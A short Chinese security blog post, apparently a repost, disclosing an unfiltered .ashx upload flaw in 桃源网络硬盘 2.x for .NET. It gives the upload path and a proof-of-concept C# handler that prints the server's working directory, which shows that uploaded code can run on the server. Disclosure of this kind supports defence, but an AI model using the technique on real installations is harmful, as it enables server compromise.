桃源网络硬盘2.x for .NET版本任意文件上传漏洞

没穿底裤 2020年1月1日03:55:50评论462 views字数 325阅读1分5秒阅读模式
摘要

没有过滤ashx上传1.ashx文件访问目录http://0day5.com/myfile/用户名/1.ashxtest code:
[php]
<%@ WebHandler Language="C#" Class="Handler" %>

没有过滤ashx

上传1.ashx文件

访问目录

http://0day5.com/myfile/用户名/1.ashx

test code:
[php]
<%@ WebHandler Language="C#" Class="Handler" %>

using System;

using System.Web;

public class Handler : IHttpHandler {

public void ProcessRequest (HttpContext context) {

context.Response.ContentType = "text/plain";

context.Response.Write("path:"+Environment.CurrentDirectory);

}

public bool IsReusable {

get {

return false;

}

}

}[/php]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日03:55:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   桃源网络硬盘2.x for .NET版本任意文件上传漏洞https://cn-sec.com/archives/75268.html

发表评论

匿名网友 填写信息